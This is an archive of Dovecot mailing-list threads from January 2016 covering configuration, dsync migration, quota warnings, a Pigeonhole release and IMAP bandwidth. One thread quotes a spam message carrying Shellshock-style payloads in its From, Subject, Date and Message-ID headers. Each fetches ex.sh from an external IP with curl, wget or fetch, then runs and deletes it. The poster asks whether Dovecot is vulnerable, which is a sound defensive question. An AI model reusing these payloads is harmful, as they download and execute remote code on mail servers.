test: Mailbox doesn't exist: test > > Is this is as simple as adding lda_mailbox_autocreate = yes to my conf > file, and does it go at the ?top? level of the file, or does it need to > be in some sort of clause? you should find the option in the sample config files. It should go in the global section, that is not into any section enclosed by { } . - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVqXeVXz1H7kL/d9rAQKK6Af/d+y8pX+H4KGB/NwWs6/g20tr5CawPAcK aycs2eSOovZthKvmwlwazJSs8uGoirMJIQ2SJ9fNN/quTVlR59yCUkg29Qavl6kn 7neWSltewtmH8I29aErOONcCn59RoEJP4jNs21eroWwxWASKzqav0o/tRD2jvVqb 81fhdi8bxbiOyIvEhcXZ1fHJuTTXgP+wCIoqQaIFgQDZtwfDFP2PF9hXS4rHydFp 51Vi3/uBeOSAI8N/qHr8KBG/R6vxOMWf6VxVUIg2NemMsWw2Idi3GNOW1+gSr+ur cLhMQw090pA7AKshQlCbIoMhsfUprvUzceUwdhKLIlKTYVRWJ+cPhQ== =EjI4 -----END PGP SIGNATURE----- From dovecot at haravikk.me Mon Jan 25 12:02:51 2016 From: dovecot at haravikk.me (Haravikk) Date: Mon, 25 Jan 2016 12:02:51 +0000 Subject: Disable Client Certificate Authentication for Unencrypted Connections? Message-ID: <369CB6E7-81BD-4872-AE72-D71A7CEC48CD@haravikk.me> I?m using dovecot to provide encrypted IMAP e-mail support for remote clients and it?s working great. However, I also need to set up a webmail front-end (Roundcube), which I?m hoping to have use unencrypted IMAP on port 143 (as only port 993 is available externally). The problem I?m running into is that I want to require client certificate authentication on port 993, but dovecot is apparently requiring a certificate on all connections, which is preventing Roundcube from connecting. Since dovecot is also providing authentication to postfix I?ve already created an exemption from the client certificate requirement for SMTP connections by doing the following: protocol !smtp { ssl_ca = The title mostly says it all on this one, but it seems that doveadm user has unique behaviour when a wildcard username is given, causing it to return a list of matching usernames in place of regular output, ignoring other command line options such as the -f (field) option. For example, I had hoped to use the following command in a script to easily get a list of all user home locations (excluding local users): doveadm user -f home *@* However the results are a list of usernames, rather than a list of home locations as I had hoped. I?ve tagged this thread as Bug/Enhancement as outputting a list of matched usernames is clearly the intended behaviour, but it could certainly be clarified, as could the fact that the -f option is ignored in this special case. I think that the correct ?fix? here is to clarify in the documentation that wildcard matching is a separate use-case of this command in which the -f (and possibly other?) options are ignored and the results are always given as a list of matching usernames. It needs to be clear that doveadm user user at domain1.tld user at domain2.tld and doveadm user *@* are not equivalent, even if those are the only two users, as this differs from many other unix commands where wildcards are permitted, e.g- using rm with a wildcard is equivalent to adding all matching files to the command yourself. However, in future I?d like to see support for the -f option with wildcard matches as well, with -f user simply being the default. This would be much easier for a script inspecting user home directories, as for now my alternative is to use the wildcard match to get a list of names, then call dovecot user -f home for each one to get their home location, which isn?t nearly as nice =) - Haravikk From gothic-folk at mail.ru Mon Jan 25 15:11:15 2016 From: gothic-folk at mail.ru (gothic-folk at mail.ru) Date: Mon, 25 Jan 2016 18:11:15 +0300 Subject: =?UTF-8?B?cHJvYmxlbSBEb3ZlY290IDIuMi4xMyBkb2VzIG5vdCBzZW5kIHRoZSBpbmZv?= =?UTF-8?B?cm1hdGlvbiBvbiBlbmRpbmcgdGhlIHF1b3RhIHRvIHVzZXI=?= Message-ID: <1453734675.599098913@f94.i.mail.ru> Hi. I have Dovecot + Postfix + MySQL. Version of Postix: 2.11.3-1 Version of Dovecot: 2.2.13 Operations system is: Debian GNU/Linux 8.2 (jessie) Postfix have patched (patch VDA - http://vda.sourceforge.net) for using with quota, it means that file "maildirsize" in mail directory already exists and changed when add/delete mail. Quota for virtual box take in MySQL db. ########################## Problem: Dovecot does not send the information on ending the quota to user. ########################## # 2.2.13: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-042stab112.15 x86_64 Debian 8.2 ext4 auth_debug = yes auth_default_realm = mydomain.ru auth_mechanisms = plain login auth_realms = mydomain.ru debug_log_path = /var/log/dovecot-debug.log info_log_path = /var/log/dovecot.log lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes log_path = /var/log/dovecot.log login_greeting = Welcome mydomain.ru" mail_debug = yes mail_gid = 1000 mail_location = maildir:/var/vmail/%n@%d mail_plugins = " quota" mail_uid = 1000 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii- numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes list = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk { auto = subscribe special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Trash { auto = subscribe special_use = \Trash } prefix = type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { quota = maildir:User quota quota_rule = *:storage=10M quota_rule2 = Trash:storage=+100M quota_rule3 = SPAM:ignore quota_warning = storage=90%% quota-warning 90 %u quota_warning2 = storage=80%% quota-warning 80 %u } protocols = pop3 imap quota_full_tempfail = yes service auth { unix_listener /var/spool/postfix/private/dovecot-smtp-auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service quota-warning { executable = script /etc/dovecot/quota.sh unix_listener quota-warning { user = vmail } user = vmail } ssl_cert = References: <56A15643.2030506@heinlein-support.de> <56A20633.3050103@heinlein-support.de> <56A229A0.4080306@heinlein-support.de> Message-ID: <1A3E7605-5EFC-4298-849E-BFEAB1FE26F3@iki.fi> On 22 Jan 2016, at 16:20, Timo Sirainen wrote: > > >> On 22 Jan 2016, at 15:07, Peer Heinlein wrote: >> >> Am 22.01.2016 um 12:46 schrieb Timo Sirainen: >> >> >>> I think this was fixed by https://github.com/dovecot/core/commit/f136b0050b3125b466af73984177250b7ed1a3be >> >> But our installed release ~2.2.21-1~auto+66 has been build on January, >> 21th 13:58... So it should be included in the actual code... > > Oh, right. Then I don't know how it could still happen. I think the easiest way to solve it would be if I can debug the core dump. That would require sending it along with some libraries. http://dovecot.org/tools/core-tar.sh can be used to generate a tarball with all the needed things. Fixed: https://github.com/dovecot/core/commit/759a60c896270a74ef4a94ad348fe3722f183608 From m at sys4.de Tue Jan 26 13:56:27 2016 From: m at sys4.de (Marc Schiffbauer) Date: Tue, 26 Jan 2016 14:56:27 +0100 Subject: dsync: INBOX Can't be deleted In-Reply-To: <56A3FE43.1060104@dovecot.fi> References: <20160123093002.GA10203@mp3.niederrhein.de> <56A38125.3010302@sys4.de> <56A3FE43.1060104@dovecot.fi> Message-ID: <20160126135627.GI4505@schiffbauer.net> * Sami Ketola schrieb am 23.01.16 um 23:27 Uhr: > > > On 23/01/16 15:33, Robert Schetterer wrote: > > for multiple advanced imap settings at migration you might use > > imapsync not dsync Best Regards MfG Robert Schetterer > Sure but imapsync does not preserve message UID's which means that users > end up redownloading all their messages or message/UID mismatches will > happen. IIRC that is not true. Some years ago I migrated a server to dovecot and managed to do it with proper UID migration. No clients were required to re-download Mail. Nor over IMAP neither POP3. -Marc -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From tss at iki.fi Tue Jan 26 15:00:16 2016 From: tss at iki.fi (Timo Sirainen) Date: Tue, 26 Jan 2016 17:00:16 +0200 Subject: dsync: INBOX Can't be deleted In-Reply-To: <20160126135627.GI4505@schiffbauer.net> References: <20160123093002.GA10203@mp3.niederrhein.de> <56A38125.3010302@sys4.de> <56A3FE43.1060104@dovecot.fi> <20160126135627.GI4505@schiffbauer.net> Message-ID: > On 26 Jan 2016, at 15:56, Marc Schiffbauer wrote: > > * Sami Ketola schrieb am 23.01.16 um 23:27 Uhr: >> >> >> On 23/01/16 15:33, Robert Schetterer wrote: >>> for multiple advanced imap settings at migration you might use >>> imapsync not dsync Best Regards MfG Robert Schetterer >> Sure but imapsync does not preserve message UID's which means that users >> end up redownloading all their messages or message/UID mismatches will >> happen. > > IIRC that is not true. Some years ago I migrated a server to dovecot and > managed to do it with proper UID migration. No clients were required to > re-download Mail. Nor over IMAP neither POP3. IMAP protocol doesn't have a way for clients to specify UIDs. Especially UIDVALIDITY can't be preserved in any way. IMAP clients don't necessarily make it clearly visible that they're redownloading mails though. With POP3 clients if they use the keep-mails-on-server it pretty much has to redownload mails as duplicates. Unless the UIDL was based on some email headers or such, the POP3 UIDL can't be preserved either. From m at sys4.de Tue Jan 26 15:29:15 2016 From: m at sys4.de (Marc Schiffbauer) Date: Tue, 26 Jan 2016 16:29:15 +0100 Subject: dsync: INBOX Can't be deleted In-Reply-To: References: <20160123093002.GA10203@mp3.niederrhein.de> <56A38125.3010302@sys4.de> <56A3FE43.1060104@dovecot.fi> <20160126135627.GI4505@schiffbauer.net> Message-ID: <20160126152915.GO4505@schiffbauer.net> * Timo Sirainen schrieb am 26.01.16 um 16:00 Uhr: > > > On 26 Jan 2016, at 15:56, Marc Schiffbauer wrote: > > > > * Sami Ketola schrieb am 23.01.16 um 23:27 Uhr: > >> > >> > >> On 23/01/16 15:33, Robert Schetterer wrote: > >>> for multiple advanced imap settings at migration you might use > >>> imapsync not dsync Best Regards MfG Robert Schetterer > >> Sure but imapsync does not preserve message UID's which means that users > >> end up redownloading all their messages or message/UID mismatches will > >> happen. > > > > IIRC that is not true. Some years ago I migrated a server to dovecot and > > managed to do it with proper UID migration. No clients were required to > > re-download Mail. Nor over IMAP neither POP3. > > IMAP protocol doesn't have a way for clients to specify UIDs. > Especially UIDVALIDITY can't be preserved in any way. IMAP clients > don't necessarily make it clearly visible that they're redownloading > mails though. With POP3 clients if they use the keep-mails-on-server > it pretty much has to redownload mails as duplicates. Unless the UIDL > was based on some email headers or such, the POP3 UIDL can't be > preserved either. IDNRC ;-) Then I am pretty sure that I used dsync. Because I AM sure that I had no issues with re-dpwnloadeing and that I had an eye on especially on that. -Marc -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From rs at sys4.de Tue Jan 26 16:23:59 2016 From: rs at sys4.de (Robert Schetterer) Date: Tue, 26 Jan 2016 17:23:59 +0100 Subject: dsync: INBOX Can't be deleted In-Reply-To: <20160126152915.GO4505@schiffbauer.net> References: <20160123093002.GA10203@mp3.niederrhein.de> <56A38125.3010302@sys4.de> <56A3FE43.1060104@dovecot.fi> <20160126135627.GI4505@schiffbauer.net> <20160126152915.GO4505@schiffbauer.net> Message-ID: <56A79D9F.5000901@sys4.de> Am 26.01.2016 um 16:29 schrieb Marc Schiffbauer: > * Timo Sirainen schrieb am 26.01.16 um 16:00 Uhr: >> >>> On 26 Jan 2016, at 15:56, Marc Schiffbauer wrote: >>> >>> * Sami Ketola schrieb am 23.01.16 um 23:27 Uhr: >>>> >>>> >>>> On 23/01/16 15:33, Robert Schetterer wrote: >>>>> for multiple advanced imap settings at migration you might use >>>>> imapsync not dsync Best Regards MfG Robert Schetterer >>>> Sure but imapsync does not preserve message UID's which means that users >>>> end up redownloading all their messages or message/UID mismatches will >>>> happen. >>> >>> IIRC that is not true. Some years ago I migrated a server to dovecot and >>> managed to do it with proper UID migration. No clients were required to >>> re-download Mail. Nor over IMAP neither POP3. >> >> IMAP protocol doesn't have a way for clients to specify UIDs. >> Especially UIDVALIDITY can't be preserved in any way. IMAP clients >> don't necessarily make it clearly visible that they're redownloading >> mails though. With POP3 clients if they use the keep-mails-on-server >> it pretty much has to redownload mails as duplicates. Unless the UIDL >> was based on some email headers or such, the POP3 UIDL can't be >> preserved either. > > IDNRC ;-) > > Then I am pretty sure that I used dsync. Because I AM sure that I had no > issues with re-dpwnloadeing and that I had an eye on especially on that. > Hi Marc, you used dsync before on your project with success, then we tried it too on the "our" project, that failed ,so we used imapsync we ignored the problem with users pop3 letting their mails on the server or better ,we pre informed them what will happen. > -Marc > > Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From stephan at rename-it.nl Tue Jan 26 23:17:33 2016 From: stephan at rename-it.nl (Stephan Bosch) Date: Wed, 27 Jan 2016 00:17:33 +0100 Subject: Released Pigeonhole v0.4.12.rc1 for Dovecot v2.2.21 Message-ID: <56A7FE8D.50306@rename-it.nl> Hello Dovecot users, The last few releases had an annoying bug that made the Sieve editheader and imap4flags ineffective when multiple scripts were executed sequentially (sieve_before/sieve_after). That is why I am making a new release. Unlike the previous release, this release also adds a new feature: support for the Sieve extracttext extension. Changelog v0.4.12: + Implemented the Sieve extracttext extension (RFC 5703; Section 7). It is now possible to extract body text from a message into a variable. * Increased ABI version due to changes in the Sieve interpreter's object definitions. - multiscript: Fixed bug in handling of (implicit) keep; final keep action was always executed as though there was a failure. This caused the keep action to revert back to the initial message, causing editheader actions to be ignored. - managesieve-login: Fixed proxy to allow SASL mechanisms other than PLAIN. Before, the proxy would fail if the server did not support the PLAIN mechanism. - ldap storage: Prevent segfault occurring when assigning certain (global) configuration options. The release is available as follows: http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12.rc1.tar.gz http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12.rc1.tar.gz.sig Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this release candidate and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan at rename-it.nl From voytek at sbt.net.au Wed Jan 27 02:35:59 2016 From: voytek at sbt.net.au (voytek at sbt.net.au) Date: Wed, 27 Jan 2016 13:35:59 +1100 Subject: ot: data consumption IMAP vs POP Message-ID: I have a domain with about 50 mailboxes, server is located here in AUS but most of the users are on a LAN is SEAsia location. They were using POP (with Thunderbird), I suggested then can use IMAP instead, so they did. now they are asking; "Looks like Imap is adding a lot to our internet bandwidth" I guess they have some bandwidth limitation on their link I think I can understand that IMAP would increase bandwidth requirement, didn't expect it to cause 'problems' is there any optimization or changes I can make to reduce that ? the b/w limitation are at the client LAN link any other suggestions ? thanks, V From skdovecot at smail.inf.fh-brs.de Wed Jan 27 06:30:42 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Wed, 27 Jan 2016 07:30:42 +0100 (CET) Subject: ot: data consumption IMAP vs POP In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wed, 27 Jan 2016, voytek at sbt.net.au wrote: > I have a domain with about 50 mailboxes, server is located here in AUS but > most of the users are on a LAN is SEAsia location. They were using POP > (with Thunderbird), I suggested then can use IMAP instead, so they did. > > now they are asking; > > "Looks like Imap is adding a lot to our internet bandwidth" > > I guess they have some bandwidth limitation on their link which limit(s)? > I think I can understand that IMAP would increase bandwidth requirement, > didn't expect it to cause 'problems' > > is there any optimization or changes I can make to reduce that ? > the b/w limitation are at the client LAN link > > any other suggestions ? Do they have problems more while sending or more while reading or more when doing "flagging, moving, deleting"? Sending bandwitdh can be reduced by using BCC instead of the IMAP append to the sent mailbox. Reading bandwidth should not change, unless they watch really many mailboxes. - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVqhkEnz1H7kL/d9rAQITVAgAm72Db7j5LVthaXVBC9zsKNn+IYeJY43a Yjz6KIjxyJxj+YSsZdemE+HekLX6i3k1GjHWyDVrbeaGaatS0PanpN1BMi15hJUQ 01YRNS8N2rZRh1HJmjajAIzRyN30Pg5VIBvtvgy4PZZjCpTX7xd9U924pYQUpId4 NzwupRqVdBTr5kGbDOA9f9ctSN9TXRR5o4kn/2dX6eCjCDMuXoK4vcLtK8h9Y+iC /qqcpYvi5B1JuwffSNps/RxqDZbSQeLbJDqE7bR3CGR/1/MC5bLQoi1afegUAT67 x1APsJ1FtVdQiBc3oeVg13XmLG2obuowg4etOT+cpdIIiW/Zyun31A== =pNSM -----END PGP SIGNATURE----- From hakon at alstadheim.priv.no Wed Jan 27 09:31:46 2016 From: hakon at alstadheim.priv.no (=?UTF-8?Q?H=c3=a5kon_Alstadheim?=) Date: Wed, 27 Jan 2016 10:31:46 +0100 Subject: ot: data consumption IMAP vs POP In-Reply-To: References: Message-ID: <56A88E82.3060802@alstadheim.priv.no> Den 27. jan. 2016 07:30, skrev Steffen Kaiser: > On Wed, 27 Jan 2016, voytek at sbt.net.au wrote: > > > I have a domain with about 50 mailboxes, server is located here in > AUS but > > most of the users are on a LAN is SEAsia location. They were using POP > > (with Thunderbird), I suggested then can use IMAP instead, so they did. > > > now they are asking; > > > "Looks like Imap is adding a lot to our internet bandwidth" > > > I guess they have some bandwidth limitation on their link > > which limit(s)? > > > I think I can understand that IMAP would increase bandwidth requirement, > > didn't expect it to cause 'problems' > > > is there any optimization or changes I can make to reduce that ? > > the b/w limitation are at the client LAN link > > > any other suggestions ? > > Do they have problems more while sending or more while reading or more > when doing "flagging, moving, deleting"? > > Sending bandwitdh can be reduced by using BCC instead of the IMAP > append to the sent mailbox. > Reading bandwidth should not change, unless they watch really many > mailboxes. > > -- Steffen Kaiser ... but of course re-configuring mail-client will cause all mail that is still on the server to be re-down-loaded. Did you specifically ask if bandwidth problems persisted after the first connections ? Might take quite a while if there is a lot of mail. Might be "on demand" when entering a mail-box for the first time. If mail comes pre-sorted into mail-boxes, watching several mail-boxes for new mail might be a long-term "pessimization" (opposite of optimization) . From troeder at univention.de Wed Jan 27 09:46:56 2016 From: troeder at univention.de (=?UTF-8?Q?Daniel_Tr=c3=b6der?=) Date: Wed, 27 Jan 2016 10:46:56 +0100 Subject: ot: data consumption IMAP vs POP In-Reply-To: References: Message-ID: <56A89210.9030001@univention.de> On 01/27/2016 03:35 AM, voytek at sbt.net.au wrote: > I have a domain with about 50 mailboxes, server is located here in AUS but > most of the users are on a LAN is SEAsia location. They were using POP > (with Thunderbird), I suggested then can use IMAP instead, so they did. > > now they are asking; > > "Looks like Imap is adding a lot to our internet bandwidth" > > I guess they have some bandwidth limitation on their link > > I think I can understand that IMAP would increase bandwidth requirement, > didn't expect it to cause 'problems' > > is there any optimization or changes I can make to reduce that ? > the b/w limitation are at the client LAN link > > any other suggestions ? > > thanks, V Your users IMAP-clients can (hopefully) be configured to automatically cache emails once they were downloaded. If that is configured, there should be no difference in bandwidth usage between POP and IMAP. Greetings Daniel -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 819 bytes Desc: OpenPGP digital signature URL: From sami.ketola at dovecot.fi Wed Jan 27 09:51:08 2016 From: sami.ketola at dovecot.fi (Sami Ketola) Date: Wed, 27 Jan 2016 11:51:08 +0200 Subject: ot: data consumption IMAP vs POP In-Reply-To: References: Message-ID: <56A8930C.7040402@dovecot.fi> On 27/01/16 04:35, voytek at sbt.net.au wrote: > I have a domain with about 50 mailboxes, server is located here in AUS but > most of the users are on a LAN is SEAsia location. They were using POP > (with Thunderbird), I suggested then can use IMAP instead, so they did. > > now they are asking; > > "Looks like Imap is adding a lot to our internet bandwidth" > > I guess they have some bandwidth limitation on their link > > I think I can understand that IMAP would increase bandwidth requirement, > didn't expect it to cause 'problems' > > is there any optimization or changes I can make to reduce that ? > the b/w limitation are at the client LAN link > > any other suggestions ? > When you change from POP3 to IMAP then user agents will redownload all messages once. I can't see any other reason for any significant bandwith increment other than that. Are you sure there really is more bandwith used once the mails have been redownloaded? Sami From crohmann at netcologne.de Wed Jan 27 13:53:37 2016 From: crohmann at netcologne.de (Christian Rohmann) Date: Wed, 27 Jan 2016 14:53:37 +0100 Subject: Can you "doveadm search" with mailbox location instead of a user (-u option)? Message-ID: <56A8CBE1.2020303@netcologne.de> Hey dovecot-users! doveadm import offers to use i.e. a maildir as source and then import into a users mailbox referenced via "-u" option. If one wants to import only certain emails from the source a search-query can be given as well. I was wondering if doveadm search also does offer to search a mailbox referenced by filesystem path i.e. doveadm search maildir:/srv/mailboxes/example.com/mailbox123 NEW Maybe a fixed mailbox location via "-o mailbox_location=maildir:/srv/mailboxes/example.com/mailbox123" does work, but then it's rather a side effect as one needs to define a user via "-u" parameter anyways. Regards Christian From CMarcus at Media-Brokers.com Wed Jan 27 13:54:22 2016 From: CMarcus at Media-Brokers.com (Charles Marcus) Date: Wed, 27 Jan 2016 08:54:22 -0500 Subject: ot: data consumption IMAP vs POP In-Reply-To: References: Message-ID: <56A8CC0E.2050505@Media-Brokers.com> On 1/27/2016 1:30 AM, Steffen Kaiser wrote: > Sending bandwitdh can be reduced by using BCC instead of the IMAP append > to the sent mailbox. Hi Steffen, Can you elaborate on this? I would have thought that the IMAP Append command would *save* bandwidth (as opposed to having the client save a copy to the Sent folder, thereby uploading the full message a second time). I want to revisit this with Timo, because there was supposedly a pretty simple way that we could achieve the same thing that gmail does - auto save all sent messages to the designated Sent folder server side, thereby allowing us to disable the 'Save to Sent' function in the client. From skdovecot at smail.inf.fh-brs.de Wed Jan 27 14:32:53 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Wed, 27 Jan 2016 15:32:53 +0100 (CET) Subject: ot: data consumption IMAP vs POP In-Reply-To: <56A8CC0E.2050505@Media-Brokers.com> References: <56A8CC0E.2050505@Media-Brokers.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wed, 27 Jan 2016, Charles Marcus wrote: > On 1/27/2016 1:30 AM, Steffen Kaiser wrote: >> Sending bandwitdh can be reduced by using BCC instead of the IMAP append >> to the sent mailbox. > > Can you elaborate on this? > > I would have thought that the IMAP Append command would *save* bandwidth > (as opposed to having the client save a copy to the Sent folder, thereby > uploading the full message a second time). This is exactly, what IMAP APPEND does: The client uploads the message via SMTP first and via IMAP a second time. If you add a BCC recipient to each message, that is placed by SMTP into the Sent Folder, and disable the IMAP save, you upload the message just once. How you can do this, depends on your SMTP framework. Many people use subaddressing or detail: address+detail at example.org === BTW: There is another annoyance with a limited bandwidth, when you compose a message, MUAs autosave the message into Draft in regular intervals. - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVqjVFXz1H7kL/d9rAQKC1AgAyDcpgCmX4YeupnRBQg36OLpqMt3s3cyX Xxg4ZTAyRxs6g7Z0TdlKfXayoqbKAvTeSuVN20pSTn7N/sAs4j/tSSYFJuFXlqUF I0TRbZObOKZrT9/1cbEqQxHzvsMs2UARUMTJbLZSfI/r9jQcrlE2ppUkQx4cOpIf hnKtBT1WwtYpBbEhHTG5ZfZgmVmpPdZdUBGVSTu/xZfmqgKYoCpaTCbuBfZw6cBr SsGcPSnw+Lr8b1pe2PumeHGv42jpfML9C1q5S7G40PLcGjdbhp0ysShxJr5eu68T toS7tVoIW2P1oQ2OTkwtdHabMWMhEMqGJ7MaHEHiYek7JavcQlVnyg== =t48V -----END PGP SIGNATURE----- From CMarcus at Media-Brokers.com Wed Jan 27 16:54:47 2016 From: CMarcus at Media-Brokers.com (Charles Marcus) Date: Wed, 27 Jan 2016 11:54:47 -0500 Subject: ot: data consumption IMAP vs POP In-Reply-To: References: <56A8CC0E.2050505@Media-Brokers.com> Message-ID: <56A8F657.4020101@Media-Brokers.com> On 1/27/2016 9:32 AM, Steffen Kaiser wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Wed, 27 Jan 2016, Charles Marcus wrote: > >> On 1/27/2016 1:30 AM, Steffen Kaiser wrote: >>> Sending bandwitdh can be reduced by using BCC instead of the IMAP append >>> to the sent mailbox. >> Can you elaborate on this? >> >> I would have thought that the IMAP Append command would *save* bandwidth >> (as opposed to having the client save a copy to the Sent folder, thereby >> uploading the full message a second time). > This is exactly, what IMAP APPEND does: The client uploads the message via > SMTP first and via IMAP a second time. Oops, you're right... I was thinking of the SMTP Submission Client service discussed here that Timo said would be trivial to do (he said it would take a few lines of code for postfix too, but Wietse seemed amenable to adding it)... I think it may have been using BURL or something, but I'm not sure... I'd really love to see this implemented. It would make a huge difference for anyone who sends a lot of large attachments like we do. > BTW: There is another annoyance with a limited bandwidth, when you compose > a message, MUAs autosave the message into Draft in regular intervals. Yeah - I usually disable this, and save manually. I generally either finish and send an email, or start one so I won't forget about something and immediately save it. I do want these available through IMAP, so I do still want it saved to the IMAP Drafts folder, otherwise, if I had bandwidth concerns about this and still wanted continuous auto save, I'd pint my Drafts to the Local Folders Drafts... From louisk at cryptomonkeys.org Wed Jan 27 20:10:05 2016 From: louisk at cryptomonkeys.org (Louis Kowolowski) Date: Wed, 27 Jan 2016 12:10:05 -0800 Subject: is dovecot vulnerable to this kind of attack? Message-ID: I found an interesting email that got caught in my spam quarantine. I?m wondering if dovecot is vulnerable to this kind of code execution (I?m aware that other components could be vulnerable, but this question is specifically targeting dovecot). The idea is to insert shell commands into various header fields that would get executed as part of the message processing/delivery. Examples include: From: () {:;};/bin/sh -c 'cd /tmp;curl -sO 62.75.175.145/ex.sh;lwp-download http: //62.75.175.145/ex.sh at nes.txt.com;, wget at nes.txt.com, 62.75.175.145/ex.sh at nes.txt.com;, fetch at nes.txt.com, 62.75.175.145/ex.sh at nes.txt.com;, sh at nes.txt.com, ex.sh at nes.txt.com;, rm at nes.txt.com, -fr at nes.txt.com, ex.*'@nes.txt.com, &@nes.txt.com; Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Message-ID:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; The full message, should it be of interest, can be found here: https://dl.dropboxusercontent.com/u/17066730/interesting%20email.txt Thank you! -- Louis Kowolowski louisk at cryptomonkeys.org Cryptomonkeys: http://www.cryptomonkeys.com/ Making life more interesting for people since 1977 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 801 bytes Desc: Message signed with OpenPGP using GPGMail URL: From aba at sundown.cz Wed Jan 27 20:34:11 2016 From: aba at sundown.cz (Petr Bousek) Date: Wed, 27 Jan 2016 21:34:11 +0100 Subject: Maildir to mdbox conersion size issue Message-ID: <56A929C3.1000202@sundown.cz> Hello, I have issue with dovecot 2.2.13 I want to change all Maildirs to mdbox format and I do it per partes, so I change mail_location for user (in sql), than I use doveadm sync -u user path_to_maildir and everything works mostly fine. But now I found that when I migrate quite huge Maildir (about 24G of mails) to mdbox, after sync the final mdbox is twice as big as source Maildir (48GB). I tried to find duplicities, but didn't find any. Is there any reason why mdbox consume so much data? Or I do something wrong? Does somebody have same experience? Thanks Petr From ad+lists at uni-x.org Wed Jan 27 21:43:28 2016 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Wed, 27 Jan 2016 22:43:28 +0100 Subject: is dovecot vulnerable to this kind of attack? In-Reply-To: References: Message-ID: <56A93A00.8050109@uni-x.org> Am 27.01.2016 um 21:10 schrieb Louis Kowolowski: > I found an interesting email that got caught in my spam quarantine. I?m wondering if dovecot is vulnerable to this kind of code execution (I?m aware that other components could be vulnerable, but this question is specifically targeting dovecot). > > The idea is to insert shell commands into various header fields that would get executed as part of the message processing/delivery. > > Examples include: > > From: () {:;};/bin/sh -c 'cd /tmp;curl -sO 62.75.175.145/ex.sh;lwp-download http: //62.75.175.145/ex.sh at nes.txt.com;, > wget at nes.txt.com, 62.75.175.145/ex.sh at nes.txt.com;, > fetch at nes.txt.com, 62.75.175.145/ex.sh at nes.txt.com;, sh at nes.txt.com, > ex.sh at nes.txt.com;, rm at nes.txt.com, -fr at nes.txt.com, > ex.*'@nes.txt.com, &@nes.txt.com; > > Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; > > Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; > > Message-ID:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; > > The full message, should it be of interest, can be found here: > > https://dl.dropboxusercontent.com/u/17066730/interesting%20email.txt > > Thank you! > -- > Louis Kowolowski louisk at cryptomonkeys.org > Cryptomonkeys: http://www.cryptomonkeys.com/ > > Making life more interesting for people since 1977 Where had you been in 2014 when shellshock had been the big buzz? Alexander From axel.luttgens at skynet.be Wed Jan 27 21:55:01 2016 From: axel.luttgens at skynet.be (Axel Luttgens) 